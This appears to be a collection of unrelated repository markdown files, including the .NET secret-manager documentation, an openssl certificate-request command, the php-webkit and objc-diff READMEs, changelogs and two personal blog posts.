## [1.1.1] - 11. Jan 2021

This is a bugfix/maintenance release

## [1.1.0] - 22. Dec 2020

### Changes

-   Add `blockquote` support

repository: rabengraph/comet-admin

repo_name: rabengraph/comet-admin


text:
---
layout: post
title:  "Being a freelancer: what recruiters think you do vs. what you actually do."
date:   2018-11-16
excerpt: "Pros and cons of running your own small business and what it brings in terms of experience"
feature: https://cdn-images-1.medium.com/max/1800/1*N8cxNGALRC48bvaBzWuHKg.png
tag:
- english
- freelance
- jobs
- recruitment
---

#### *This is no secret that I’m actively looking for a job — as of right now at least. And in a few interviews I’ve recently landed, a recurrent “question”, not to say an obvious concern, came up from my interviewers once in a while. It encouraged me to write a few words describing the hidden side of running a small business…*

"_So, I can see you’re working as freelancer for more than 3 years now, aren’t you afraid of getting back to a corporate life?_” is the most common way I’m asked. Although subtle, it often underlines a bit of a concern in the recruiter’s voice. Occasionally, the question is turned quite more frankly: “_there would be things like.. you’d have to be at 8am in the office and respect some offices rules, you know_”, or “_you will have direct synergies with your coworkers around and often face customers_”, as if I was a lazy, mad, sectarian antisocial.
![](https://media.giphy.com/media/NGV4vAghFiUOA/giphy.gif)

Don’t get me wrong, I’m not criticizing my past / future interviewers here, and I can’t blame them for trying to tickle me on any potential vulnerability that could matter for the position. I’ve been sitting on this recruiter chair, too. I always take this matter with understanding and a bit of amusement, detailing how running a small business is what you can consider a real job and why it’s probably more demanding that some could guess — except maybe for those who’ve been on this dark side too. It’s just frustrating when the person in front obviously doesn’t seem to believe you.

[*Read more on Medium...*](https://medium.com/@rmcd0/being-a-freelancer-what-recruiters-think-you-do-vs-what-you-actually-do-73f9c7ae6bf)


text:
---
layout: post
date:	2010-12-08 15:17:00
title:  Diamonds
tags: [archived-posts]
categories: archives
permalink: /:categories/:year/:month/:day/:title/
---
Tamizh Brahmins, or Tambrams, are very fond of diamonds, and women are usually aglitter with them during any festivities.

I loved the sight of this beauty, with her diamond earrings and diamond nose-studs....

The traditional diamond earring is called a "thOdu"; it has a central stone with six other stones set around it.

Under the thOdu, this young woman is wearing an umbrella-shaped gold ornament called the  "jimikki", or "kuNdalam".

The nose-stud is called a "bEsari". This one, because it has 4 stones underneath, is called "nAlu kal bEsari."

Isn't the Diamond Beauty stunning?


text:
{% raw %}
<section class="accountManagementGuides">
{% endraw %}

# Bandwidth Account Management Guides

## Base API URL
`https://dashboard.bandwidth.com/api/`

## Bandwidth Account Management Guides

| Guide                                                                                | Description                                                                        |
|:---------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------|
| [Bandwidth Account Structure](bandwidthAccountStructure.md)                            | An overview of the Bandwidth Account/Sub-Account/Location Heirarchy                |
| [Bandwidth Account Setup Guide](bandwidthAccountSetupGuide.md)                         | Learn about how to configure your account using the Bandwidth Dashboard            |
| [Setup Subaccounts, Locations, & Appliations via API](programmaticApplicationSetup.md) | Learn about how to configure your account with Bandwidth's account management APIs |
| [Setup Your Dashboard Account for Network Bridge](setupNetworkBridge.md)               | Walkthrough of the initial setup for Network Bridge                                |
| [Setup Your Dashboard Account for Registrar](setupRegistrar.md)               | Walkthrough of the initial setup for Registrar                                |


text:
# The .NET Core Engineering Secret Manager
This tool is used to track and rotate the secrets in one or more key vaults, and to validate the usages of the same. This is done through a yaml manifest file for each vault, and json settings files for each service.

## Manifest Files
A manifest file describes the expected state of a single secret store (currently only Azure Key Vault, but support for other stores can be added easily). The manifest contains an inventory of all secrets and the information required to generate/rotate them. The format is as follows.
```yaml
# The destination secret store. All the secrets described in this document will be placed in here.
storageLocation:
  type: azure-key-vault
  parameters:
    name: helixservice
    subscription: <a guid>

# A collection of named references to other secret stores, secrets in this document can reference values from these stores if they are required
references:
  helix-admin:
    type: azure-key-vault
    parameters:
      name: helixadmin
      subscription: <a guid>

# encryption keys that are needed in the vault, these keys will be created if they don't exist.
keys:
  data-protection-encryption-key:
    type: RSA
    size: 2048

# each entry below is a separate secret that will be maintained in the secret store
# the type identifies what kind of secret it is, and the parameters drive the creation of the secret
secrets:
  # this secret is a blob sas uri created for an account using a connection string
  # in the 'helix-admin' vault
  secret-key-blob-uri:
    type: azure-storage-blob-sas-uri
    parameters:
      # This is a 'SecretReference' parameter. Some secrets require other secrets to work.
      # These parameters can be specified as a single string, or with explicit name and location
      # If a string is used, the referenced secret is assumed to be in the same vault as the current secret
      # location can be any of the entries in the 'references' collection
      # this specific entry references a secret in the reference named 'helix-admin'
      connectionString:
        name: execution-storage-connection-string
        location: helix-admin
      blob: keys.xml
      container: dp
      permissions: racwd

  execution-storage-connection:
    type: azure-storage-connection-string
    parameters:
      subscription: <a guid>
      account: helixexecution

  execution-storage-container-sas:
    type: azure-storage-container-sas-uri
    parameters:
      # This is also a 'SecretReference' but it has no location, this references the 'execution-storage-connection' secret contained in this document.
      connectionString: execution-storage-connection
      container: logs
      permissions: racwd
```

## Settings Files
Each service has at least one settings file. These are expected to be named `settings.json` with additional "environment" files alongside it named `settings.<environment>.json`. These are a simple json file with settings defined inside it. The values in this file should contain references to secrets using the `[vault(secret-name)]` syntax. An example is below.
```json
{
  "BuildAssetRegistry": {
    "ConnectionString": "[vault(build-asset-registry-sql-connection-string)]",
    "CacheSize": 40
  },
  "Storage": {
    "str": "[vault(storage-connection)]",
    "blobSas": "[vault(blob-sas)]",
    "containerSas": "[vault(container-sas)]",
    "tableSas": "[vault(table-sas)]",
    "UseOldAlgorithm": false
  },
  "EventHub": "[vault(event-hub-connection)]",
  "ServiceBus": "[vault(service-bus-connection)]",
  "Sql":{
    "admin": "[vault(sql-a-connection)]",
    "read": "[vault(sql-r-connection)]",
    "write": "[vault(sql-w-connection)]",
    "rw": "[vault(sql-rw-connection)]"
  },
  "EnableSuperSecretFeature": true
}
```

## Functionality in the Builds (FR Look Here)
The Secret Manager is set up to run 3 separate parts in our builds: usage validation during the testing phase, vault validation before deployment, and secret rotation on a weekly cadence.

### Usage Validation
This step runs the `validate-all` command. This command finds all `settings.json` and `settings.<environment>.json` files and validates those files with the manifests in the repo. This step doesn't talk to azure at all, it simply validates that all `[vault()]` references in the settings files have matching specifications in the appropriate manifest. Failures in this step require either adding missing definitions to the manifest, or removing the offending references in the settings file.

### Pre-Deployment Validation
This step runs the `synchronize --verify-only` command before the "approval" stage for the deployments. This command compares each manifest with the contents of the corresponding vault, and produces errors if secrets in the vault are missing or out-of-date. Failures in this step can be fixed by running the weekly build again, or by manually running the `synchronize` command.

### Weekly Rotation
This step runs the `synchronize` command. This compares every secret specified in the manifest with the corresponding vault, and performs the appropriate rotation for each secret that requires it. Failures in this step are caused by secrets that require rotation and can't be rotated automatically. To manually rotate these secrets a human will need to run the `synchronize` command manually and specify the manifest that contains the secret requiring rotation.

## Rotating Secrets On-Demand
Secrets can be rotated on-demand with the synchronize command. Just pass `--force` to rotate all secrets in the manifest, or `--force-secret=<secretName>` one or more times to rotate a specific secret or secrets.

## Examples
These must be run in a context that can resolve the .net cli tool secret-manager, any repo that is onboarded to secret manager will have this set up. The tool can also be installed globally if that is prefered.

### Rotate Every Secret in a manifest
    dotnet secret-manager synchronize --force <manifest.yaml>

### Rotate a single secret
    dotnet secret-manager synchronize --force-secret=<secret-name> <manifest.yaml>

## Onboarding a new Repo
- If .config/dotnet-tools.json doesn't exist, run `dotnet new tool-manifest`
- Run `dotnet tool install microsoft.dnceng.secretmanager --version 1.1.0-*`
- Create manifests for vaults in `$(RepoRoot)/.vault-config`. The path is arbitrary, but must match the scripts below.
- Add the following stage to a weekly build:
```yaml
  - stage: SynchronizeSecrets
    jobs:
    - job: Synchronize
      pool:
        vmImage: windows-2019
      steps:
      - task: UseDotNet@2
        displayName: Install Correct .NET Version
        inputs:
          useGlobalJson: true

      - task: UseDotNet@2
        displayName: Install .NET 3.1 runtime
        inputs:
          packageType: runtime
          version: 3.1.x

      - script: dotnet tool restore

      - task: AzureCLI@2
        inputs:
          azureSubscription: DotNet Eng Services Secret Manager
          scriptType: ps
          scriptLocation: inlineScript
          inlineScript: |
            Get-ChildItem .vault-config/*.yaml |% { dotnet secret-manager synchronize $_}
```
- Add the following steps immediately after the compilation for PR and CI builds:
```yaml
- script: dotnet tool restore

- powershell: |
    $manifestArgs = @()
    Get-ChildItem .vault-config/*.yaml |% {
      $manifestArgs += @("-m", $_.FullName)
    }
    dotnet secret-manager validate-all -b src @manifestArgs
  displayName: Verify Secret Usages
```
- Add the following stage before the "approval" stage that precedes deployment:
```yaml
- stage: ValidateSecrets
  dependsOn:
  - Build
  jobs:
  - job: ValidateSecrets
    pool:
      vmImage: windows-2019
    steps:
    - task: UseDotNet@2
      displayName: Install Correct .NET Version
      inputs:
        useGlobalJson: true

    - task: UseDotNet@2
      displayName: Install .NET 3.1 runtime
      inputs:
        packageType: runtime
        version: 3.1.x

    - script: dotnet tool restore

    - task: AzureCLI@2
      inputs:
        azureSubscription: DotNet Eng Services Secret Manager
        scriptType: ps
        scriptLocation: inlineScript
        inlineScript: |
          Get-ChildItem .vault-config/*.yaml |% { dotnet secret-manager synchronize --verify-only $_}
```

## Creating new secrets
New secrets can be created by adding new entries to the manifest file, then running synchronize. The tool will then create the new secret and add it to the secret store.

## Secret Types
Each secret in the manifest has a specified type, and these types determine what parameters are required, and what ends up in the secret store. Some secret types require human interaction to generate and/or rotate. For such secrets the tool will prompt the user or fail if in a build context. Some secret types also produce multiple values. These values are all stored with additional suffixes in the secret store. Each type is documented below.

### Azure Storage

#### Storage Key
Only use this secret type if the connection string is required in multiple vaults. The storage key should be in one of them, and each vault can have a connection string secret that references the key.
```yaml
type: azure-storage-key
parameters:
  account: storage account name
  subscription: Azure subscription id
```

#### Connection String
```yaml
type: azure-storage-connection-string
parameters:
  account: storage account name
  # one of the following is required
  storageKeySecret: SecretReference to an azure-storage-key
  subscription: Azure subscription id
```

#### Account Sas Token
```yaml
type: azure-storage-account-sas-token
parameters:
  connectionString: SecretReference to the connection string for the account
  service: Service i.e (blob, queue, table, file) that the token is for. Can specify more than one by separating them with |, i.e (blob|queue)
  permissions: permissions needed for the sas e.g. 'racwd'
```

#### Container Sas Uri
```yaml
type: azure-storage-container-sas-uri
parameters:
  connectionString: SecretReference to the connection string for the account
  container: storage container name
  permissions: permissions needed for the sas e.g. 'racwd'
```

#### Container Sas Token
```yaml
type: azure-storage-container-sas-token
parameters:
  connectionString: SecretReference to the connection string for the account
  container: storage container name
  permissions: permissions needed for the sas e.g. 'racwd'
```

#### Blob Sas Uri
```yaml
type: azure-storage-blob-sas-uri
parameters:
  connectionString: SecretReference to the connection string for the account
  container: storage container name
  blob: blob name
  permissions: permissions needed for the sas e.g. 'racwd'
```

#### Table Sas Uri
```yaml
type: azure-storage-table-sas-uri
parameters:
  connectionString: SecretReference to the connection string for the account
  table: storage table name
  permissions: permissions needed for the sas e.g. 'racwd'
```

### Event Hub Connection String
```yaml
type: event-hub-connection-string
parameters:
  subscription: Azure subscription id
  resourceGroup: Azure resource group
  namespace: Event Hub namespace
  name: Event Hub name
  permissions: required permissions
```

### Random Base64
This type produces 2 values `<name>-primary` and `<name>-secondary`. The service must use both values to validate payloads, but only encode things with the primary value.
```yaml
type: random-base64
parameters:
  bytes: integer
```

### Service Bus Connection String
```yaml
type: service-bus-connection-string
parameters:
  subscription: Azure subscription id
  resourceGroup: Azure resource group
  namespace: Service Bus namespace
  permissions: required permissions
```

### Sql Connection String
```yaml
type: sql-connection-string
parameters:
  adminConnection: secret reference to the sql admin connection
  dataSource: server url
  database: database name
  permissions: 'admin', 'r', 'w', or 'rw'
```

### Kusto Connection String
```yaml
type: kusto-connection-string
parameters:
  dataSource: the DataSource in the connection string
  initialCatalog: the InitialCatalog in the connection string
  additionalParameters: and extra
  adApplication: SecretReference to the ad-application used for authentication
```

### GitHub access token
```yaml
type: github-access-token
parameters:
  gitHubBotAccountSecret: secret reference to the GitHub account this token is for
  gitHubBotAccountName: username of the GitHub account
```

### GitHub Application Secret
This type produces 5 values: `<name>-app-id`, `<name>-app-private-key`, `<name>-oauth-id`, `<name>-oauth-secret`, and `<name>-app-webhook-secret`.
```yaml
type: github-app-secret
parameters:
  hasPrivateKey: boolean
  hasWebHookSecret: boolean
  hasAppSecret: boolean
```

### GitHub Bot Account
This type produces 3 values: `<name>-password`, `<name>-secret`, and `<name>-recovery-codes`.
```yaml
type: github-account
parameters:
  name: the account name
```

### GitHub OAuth app
This type produces 2 values: `<name>-client-id`, and `<name>-client-secret`.
```yaml
type: github-oauth-secret
parameters:
  appName: name of application
  description: description
```

### Grafana Api Key
```yaml
type: grafana-api-key
parameters:
  environment: hostname of target grafana instance
```

### Helix Access Token
```yaml
type: helix-access-token
parameters:
  environment: hostname of target helix instance
```

### Maestro Access Token
```yaml
type: maestro-access-token
parameters:
  environment: hostname of target maestro++ instance
```

### Text
This type should be used sparingly, and only for things that aren't actually secret.
```yaml
type: text
parameters:
  description: what the text is
```

### Domain Account
```yaml
type: domain-account
parameters:
  accountName: full account name including domain
  description: additional description for rotation of the password
```

### Azure Active Directory Application
Produces `<name>-app-id` and `<name>-app-secret`
```yaml
type: ad-application
```

### Azure DevOps Access Token
```yaml
type: azure-devops-access-token
parameters:
  organizations: space separate list of organizations
  scopes: space separated list of scopes in the format accepted by pat-generator
  domainAccountName: name of domain account
  domainAccountSecret: secret reference to a domain-account
```

### Base64 Encode
This type base64 encodes the referenced secret.
```yaml
type: base64-encoder
parameters:
  secret: SecretReference to another secret
```


text:
# objc-diff

Generates a text, XML, or HTML report of the API differences between two versions of an Objective-C library. It assists library authors with creating a diff report for their users and verifying that no unexpected API changes have been made.

## Status

Beta. The tool has been tested against the system frameworks and a number of third-party libraries, but I'd like to open it to feedback and additional testing before considering the command line interface and XML format stable.

## Usage

    objc-diff [--old <path to old API>] --new <path to new API> [options]

    API paths may be specified as a path to a framework, a path to a single
    header, or a path to a directory of headers.

    Options:
      --help             Show this help message and exit
      --title            Title of the generated report
      --text             Write a text report to standard output (the default)
      --xml              Write an XML report to standard output
      --html <directory> Write an HTML report to the specified directory
      --sdk <name>       Use the specified SDK
      --old <path>       Path to the old API
      --new <path>       Path to the new API
      --args <args>      Compiler arguments for both API versions
      --oldargs <args>   Compiler arguments for the old API version
      --newargs <args>   Compiler arguments for the new API version
      --version          Show the version and exit

See the [man page](OCDiff/objc-diff.pod) for expanded usage information.

license: MIT,NCSA

repository: woshiccm/objc-diff

detected_licenses: MIT NCSA

repo_name: woshiccm/objc-diff


text:
---
name: Bug report
about: Notice a bug anywhere?  Report it here.
---

# I have found a bug.
Replace this line with a description of the bug.
## My system details are:
- **Device Type:**
- **Device Version:**
- **Device Operating System:**
## This is my browser console:
Replace this line with a copy of everything in your browser console, especially errors or warnings.  [Here is how to get to the browser console.](https://zapier.com/help/how-retrieve-console-logs-your-browser-troubleshooting/)
## Here are any additional details.
Replace this line with any additional details, such as how the bug occurred.  Delete this section if there are no additional details.

gha_language: HTML


text:
# Frontend - Relay

**Example:** Simple Hackernews Clone

## Structure

1. Intro
    - Motivation / Demo
    - Why a GraphQL Client?
    - Apollo vs Relay
    - Relay Overview
2. Getting Started
    - Backend
        - Create Graphcool Backend
        - Populate Database
    - Frontend
        - Create Project
        - Install Dependencies
        - Configure Relay
        - The Relay `Environment`
3. Fragments & Queries
    - Colocation
    - The `QueryRenderer`
    - Rendering Query Results
4. Mutations
    - Mutation: Creating Links
    - Mutations with Relay
    - Updating the Cache
5. Authentication
    - Backend Setup
    - Signup & Login
6. Routing
    - `react-router` with Relay
7. More Mutations
    - Mutation: Vote for Links
    - Updating the Cache
8. Filtering
    - Search Links
9. Subscriptions
    - Subscribe to new Links
    - Subscribe to new Votes
10. Pagination
    - Limit/Offset vs Cursor
    - Relay Connections
    - Load Chunks of Links
11. Summary
12. Bonus: Comments

## HN Example

### Features

- Display list of links (incl pagination)
- User login
- Posting new links
- Voting for links
- [Optional]: Adding comments

### Schema

```graphql
type User {
  name: String!
  links: [Link!]! @relation(name: "UsersLinks")
  comments: [Comment!]! @relation(name: "UsersComments")
  votes: [Vote!]! @relation(name: "UsersVotes")
}

type Link {
  url: String!
  postedBy: User! @relation(name: "UsersLinks")
  comments: [Comment!]! @relation(name: "CommentsOnLink")
  votes: [Vote!]! @relation(name: "VotesOnLink")
}

type Comment {
  text: String!
  author: User! @relation(name: "UsersComments")
  link: Link! @relation(name: "CommentsOnLink")
}

type Vote {
  user: User! @relation(name: "UsersVotes")
  link: Link! @relation(name: "VotesOnLink")
}
```

repository: howtographql/howtographql

repo_name: howtographql/howtographql


text:
# py-respondd role

This role installs py-respondd after cloning it from git.ffh.zone.

py-respondd is mainly written by [descilla](https://github.com/descilla/py-respondd).

It provides a respondd-server meant to run on our gateways in order to make them visible on the map.

We will use the new information to determine the hop distance between a node and his currently chosen gateway.

## dependants

In order for nodesTk to work properly, the nodes.json files must contain the gateways.
As the proposed updater of raute and aiyion relies heavily on nodesTk, updates can not be delivered in correct order unless py-respondd ran at least for a few days in the last three weeks or so.
It's important to run on all supernodes in order not to miss any nodes in the update.

This role should not need any manual interaction while running it.
If it does nevertheless please assign an issue  ~Aiyion

repository: freifunkh/ansible

gha_language: Jinja

repo_name: freifunkh/ansible


text:
---
layout: function
title: stlab::merge
tags: [library]
scope: stlab
pure-name: merge
brief: Creates a receiver that merges all passed arguments. This function is deprecated and will be removed soon. Please instead `merge_channel<unordered_t>`.
annotation: template function
example: merge_channel_example.cpp
defined-in-header: stlab/concurrency/channel.hpp
entities:
  - kind: overloads
    list:
      - name: merge
        pure-name: merge
        declaration: |
            template <typename E, typename F, typename...R>
            [[deprecated]] auto merge(E e, F f, R... upstream_receiver)
        description: This function creates a process that executes the provided function object whenever an upstream process provides a value. There is no defined order in which the process `f` is called with the incoming upstream values.
  - kind: parameters
    list:
      - name: e
        description: Executor which is used to schedule the resulting task
      - name: f
        description: Callable object that implements the process. All results from the upstream process must be convertible to the only argument of the provided function object's function operator or the argument of process' await function.
      - name: upstream_receiver
        description: The upstream receiver.
  - kind: result
    description: a receiver that merges all passed arguments
---

repository: stlab/libraries

repo_name: stlab/libraries


text:
---
date: '2017-12-29'
layout: rafaga
rafagas:
- desc: Using 6 indicators to understand how our living conditions have improved over
    the last 200 years
  keyw: improving
  link: https://ourworldindata.org/a-history-of-global-living-conditions-in-5-charts/
  microlink:
    desc: A recent survey asked “All things considered, do you think the world is
      getting better or worse, or neither getting better nor worse?”. In Sweden 10%
      thought things are getting better, in the US they were only 6%, and in Germany
      only 4%. Very few people think that the world is getting better.
    image: https://ourworldindata.org/wp-content/uploads/2016/12/Two-centuries-World-as-100-people-small.jpg
    logo: https://ourworldindata.org/favicon.ico
    title: The short history of global living conditions and why it matters that we
      know it
- desc: How much nominal GDP every European country has to change to harmonize it
  keyw: gdp
  link: https://i.redd.it/m9xuoe7c8y501.png
  microlink:
    image: https://i.redd.it/m9xuoe7c8y501.png
    title: m9xuoe7c8y501.png
- desc: 2014 study showing almost all French water reserves were polluted by pesticides,
    with data from 2011
  invalid: true
  keyw: water
  link: http://www.neufshares.com/la-quasi-totalite-des-reserves-deau-francaises-contaminees-par-les-pesticides/
- desc: 'Jack and Laura Dangermond preserve: a 98km2 area in California that TNC will
    conserve thanks to 165M USD Esri founders donation'
  keyw: patrons
  link: https://www.theatlantic.com/science/archive/2017/12/bixby-ranch-dangermond-land-donation-in-california/548849/
  microlink:
    desc: A new preserve in California will save 24,000 acres of land from development.
    image: https://cdn.theatlantic.com/assets/media/img/mt/2017/12/leadimage/facebook.jpg?1522768832
    logo: https://cdn.theatlantic.com/assets/static/a/theatlantic/common/img/apple-touch-icon-ipad-retina.png
    title: A Historic Gift of Pristine Land to Inspire Tech’s Elite
rid: 772
---

repository: geoinquiets/rafagas

branch_name: refs/heads/gh-pages

gha_language: SCSS

repo_name: geoinquiets/rafagas


text:
# SSL Recycling

```sh
openssl req -new -newkey rsa:2048 -nodes -out www_eth-classic-rpc_com.csr -keyout www_eth-classic-rpc_com.key -subj "/C=US/ST=New York/L=New York/O=ETC Cooperative/OU=Developer Relations/CN=www.eth-classic-rpc.com"
```

repository: YazzyYaz/ethercluster

repo_name: YazzyYaz/ethercluster


text:
# slippymath 0.3.1

* Fixed a bug in `raster_to_png()` that corrupted the output in some cases.

# slippymath 0.3.0

Many function name changes in preparation for CRAN submisson. **These will certainly break existing `slippymath` code**.

I have gone with a more explicit API since I feel users will mainly use
`slippymath` under the hood as a dependency. Therefore it is important they can
understand the API quickly rather than type it quickly - since they won't do
that very often.

Function names changing:
* `bb_tile_extent` -> `bbox_tile_extent`
* `bb_tile_query` -> `bbox_tile_query`
* `bb_to_tg` -> `bbox_to_tile_grid`
* `tg_composite` -> `compose_tile_grid`
* `tile_bb` -> `tile_bbox`
* `tg_bbs` -> `tile_grid_bboxes`

# slippymath 0.2.0

* Added a `NEWS.md` file to track changes to the package.
* BREAKING CHANGE. There were mixed lat/lon lon/lat conventions. I have settled on the lon/lat ordering. This means the following functions have changed name and argument order:
    - `latlon_to_tilenum` -> `lonlat_to_tilenum`
    - `tilenum_to_latlon`  -> `tilenum_to_lonlat`

repository: EBukin/slippymath

repo_name: EBukin/slippymath


text:
# NeedsBasedPlanning

An action planner that uses Maslow's needs as input for goals

The purpose of this project is to set up an implementation for "needs" in Action Planning.

The initial goal is a proof of concept, using needs as input in action planning should have a bunch of interesting effects:

-Procedural quest generation

-Active NPCs with personal goals

-Player actions impacting NPC behavior and progress.

This project uses a modified version of Brent Owens' GOAP, the original can be found here:

https://github.com/sploreg/goap

repository: NickOverweg/NeedsBasedPlanning

repo_name: NickOverweg/NeedsBasedPlanning


text:
# PHP-WEBKIT

[![Join the chat at https://gitter.im/baconface/php-webkit](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/baconface/php-webkit?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)

## Introduction

The goal of php-webkit is to be able to package a PHP app within a [NW.js](http://nwjs.io/) project without needing the user to install and set up PHP on their system or connect to a remote PHP codebase. This repository is what your NW.js project should be set up as to succeed this objective. When your NW.js application is executed node.js starts up an internal PHP web server using the binaries in the php directory. This web server will start up any PHP project you have in the application directory. You can modify php-webkit's files as well as the ```package.json``` to fit your application's needs. Just be cautious not to change anything that will break php-webkit's ability to run properly. The end result is a PHP desktop application that is also capable of executing node.js code.

## Packaging and Distributing

You can create a PHP desktop app by going to [NW.js](http://nwjs.io/), downloading your target machines files, and following the [packaging instructions provided by NW.js](https://github.com/nwjs/nw.js/wiki/How-to-package-and-distribute-your-apps) using the files you found here as your NW.js project directory. [Express](https://www.npmjs.com/package/express) is a required dependency for this project.

## Multiple Platforms

Although it may need a little additonal work you can make a PHP desktop application for Windows, Linux, and OSX. You can use the PHP binaries found at [PHP.net](http://php.net/) or elsewhere. Windows binaries will work once you drop them in the PHP directory. Linux and OSX versions have a slightly different file structure which make packaging a bit harder. But users have been able to use binaries included with [AMPPS](http://www.ampps.com/) and [PHP Nightrain](http://www.naetech.com/php-nightrain) with little to no extra modification.

## Optional PHP Packaging

You may wish to use PHP within a NW.js project but don't want to package it within your application binary. You can either move it outside the directory or use the machines installed version of PHP if applicable. If you want to move it to another folder specify the new location as ```bin``` in your ```package.json```. It can even be outside of your project directory. If PHP is installed properly you can simply put ```php-cgi``` in this field instead. If no binaries are found in the PHP directory php-webkit will attempt to call ```php-cgi``` as a last resort to run your application.

## Server Variables

You can access basic details about your php-webkit/NW.js project via PHP's server variables. These are injected when the server is spun up so they do not require a special build of PHP to obtain.

 * ```$_SERVER["PW_BIN_PATH"]``` - Path of NW.js binary
 * ```$_SERVER["PW_BIN_FILE"]``` - File nane of NW.js binary
 * ```$_SERVER["PW_APP_PATH"]``` - Path of PHP application
 * ```$_SERVER["PW_ARGUMENTS"]``` - Arguments sent to NW.js binary
 * ```$_SERVER["PW_MANIFEST"]``` - JSON object of package.json
 * ```$_SERVER["PW_SERVER_HOST"]``` - Host the server is running under
 * ```$_SERVER["PW_SERVER_PORT"]``` - Port the server is running under

## Security Notice

Some things should be noted. This was created as a boilerplater within a weekend. The idea was to get it to work. Although set up to not be accessable remotely the internal server and PHP config were not given any additional security modifications. It is ultimately up to you to ensure your web app's security is intact.

Your PHP code is also kept client side opposed to server side. As a result you do risk the chance of having your binary reversed enginered and your source code exposed. So you should avoid storing DB password connection information or other sensitive information within your source if it is a public application. And instead opt to do RESTful API calls to a remote server that handles sensitive duties.

Node.js code is configured to only be ran on the localhost. Node.js will allow additional methods of access to the users local machine. If you need to prevent this remove the ```node-remote``` setting from package.json.

## License

Unless specified elsewhere php-webkit's boilerplate project is released under the MIT License.

The MIT License (MIT)
Copyright (c) 2015 Brad Metcalf<EMAIL_ADDRESS>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

  IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

repository: jyapayne/php-webkit

repo_name: jyapayne/php-webkit


text:
# dhcpd

A Puppet module for managing dhcpd

# Module usage

Install dhcpd using Hiera:

    classes:
        - dhcpd

For details, see

* [Class: dhcpd](manifests/init.pp)

# Dependencies

See [metadata.json](metadata.json).

# Operating system support

This module has been tested on

* CentOS 7

Any *NIX-style operating system should work out of the box or with small
modifications.

For details see [params.pp](manifests/params.pp).

repository: Puppet-Finland/puppet-dhcpd

repo_name: Puppet-Finland/puppet-dhcpd


text:
requires

TlsRequires

```python
TlsRequires(self, endpoint_name, relation_ids=None)
```

The client's side of the interface protocol.

The following flags may be set:

  * `{endpoint_name}.available`
    Whenever the relation is joined.

  * `{endpoint_name}.ca.available`
    When the root CA information is available via the [root_ca_cert][] and
    [root_ca_chain][] properties.

  * `{endpoint_name}.ca.changed`
    When the root CA information has changed, whether because
    they have just become available or if they were regenerated by the CA.
    Once processed this flag should be removed by the charm.

  * `{endpoint_name}.certs.available`
    When the requested server or client certs are available.

  * `{endpoint_name}.certs.changed`
    When the requested server or client certs have changed, whether because
    they have just become available or if they were regenerated by the CA.
    Once processed this flag should be removed by the charm.

  * `{endpoint_name}.server.certs.available`
    When the server certificates requested by [request_server_cert][] are
    available via the [server_certs][] collection.

  * `{endpoint_name}.server.certs.changed`
    When the requested server certificates have changed, whether because
    they have just become available or if they were regenerated by the CA.
    Once processed this flag should be removed by the charm.

  * `{endpoint_name}.client.certs.available`
    When the client certificates requested by [request_client_cert][] are
    available via the [client_certs][] collection.

  * `{endpoint_name}.client.certs.changed`
    When the requested client certificates have changed, whether because
    they have just become available or if they were regenerated by the CA.
    Once processed this flag should be removed by the charm.

The following flags have been deprecated:

  * `{endpoint_name}.server.cert.available`
  * `{endpoint_name}.client.cert.available`
  * `{endpoint_name}.batch.cert.available`

[Certificate]: common.md#tls_certificates_common.Certificate
[CertificateRequest]: common.md#tls_certificates_common.CertificateRequest
[root_ca_cert]: requires.md#requires.TlsRequires.root_ca_cert
[root_ca_chain]: requires.md#requires.TlsRequires.root_ca_chain
[request_server_cert]: requires.md#requires.TlsRequires.request_server_cert
[request_client_cert]: requires.md#requires.TlsRequires.request_client_cert
[server_certs]: requires.md#requires.TlsRequires.server_certs
[server_certs_map]: requires.md#requires.TlsRequires.server_certs_map
[client_certs]: requires.md#requires.TlsRequires.server_certs

client_certs

List of [Certificate][] instances for all available client certs.

client_certs_map

Mapping of client [Certificate][] instances by their `common_name`.

root_ca_cert

Root CA certificate.

root_ca_chain

The chain of trust for the root CA.

server_certs

List of [Certificate][] instances for all available server certs.

server_certs_map

Mapping of server [Certificate][] instances by their `common_name`.

get_ca

```python
TlsRequires.get_ca(self)
```

Return the root CA certificate.

Same as [root_ca_cert][].

get_chain

```python
TlsRequires.get_chain(self)
```

Return the chain of trust for the root CA.

Same as [root_ca_chain][].

get_client_cert

```python
TlsRequires.get_client_cert(self)
```

Deprecated.  Use [request_client_cert][] and the [client_certs][]
collection instead.

Return a globally shared client certificate and key.

get_server_cert

```python
TlsRequires.get_server_cert(self)
```

Deprecated.  Use the [server_certs][] collection instead.

Return the cert and key of the first server certificate requested.

get_batch_requests

```python
TlsRequires.get_batch_requests(self)
```

Deprecated.  Use [server_certs_map][] instead.

Mapping of server [Certificate][] instances by their `common_name`.

request_server_cert

```python
TlsRequires.request_server_cert(self, cn, sans=None, cert_name=None)
```

Request a server certificate and key be generated for the given
common name (`cn`) and optional list of alternative names (`sans`).

The `cert_name` is deprecated and not needed.

This can be called multiple times to request more than one server
certificate, although the common names must be unique.  If called
again with the same common name, it will be ignored.

add_request_server_cert

```python
TlsRequires.add_request_server_cert(self, cn, sans)
```

Deprecated.  Use [request_server_cert][] instead.

request_server_certs

```python
TlsRequires.request_server_certs(self)
```

Deprecated.  Just use [request_server_cert][]; this does nothing.

request_client_cert

```python
TlsRequires.request_client_cert(self, cn, sans)
```

Request a client certificate and key be generated for the given
common name (`cn`) and list of alternative names (`sans`).

This can be called multiple times to request more than one client
certificate, although the common names must be unique.  If called
again with the same common name, it will be ignored.


text:
# smile-detection-Python
---
Smile detection based on OpenCV implemented in Python

If you prefer to use C++, you can find a C++ version code here:

[Smile-detection-Cpp](https://github.com/LiuXiaolong19920720/smile-detection-Cpp)

repository: dayHRResearch/VideoCover

repo_name: dayHRResearch/VideoCover


text:
## Style Guide

### HTML
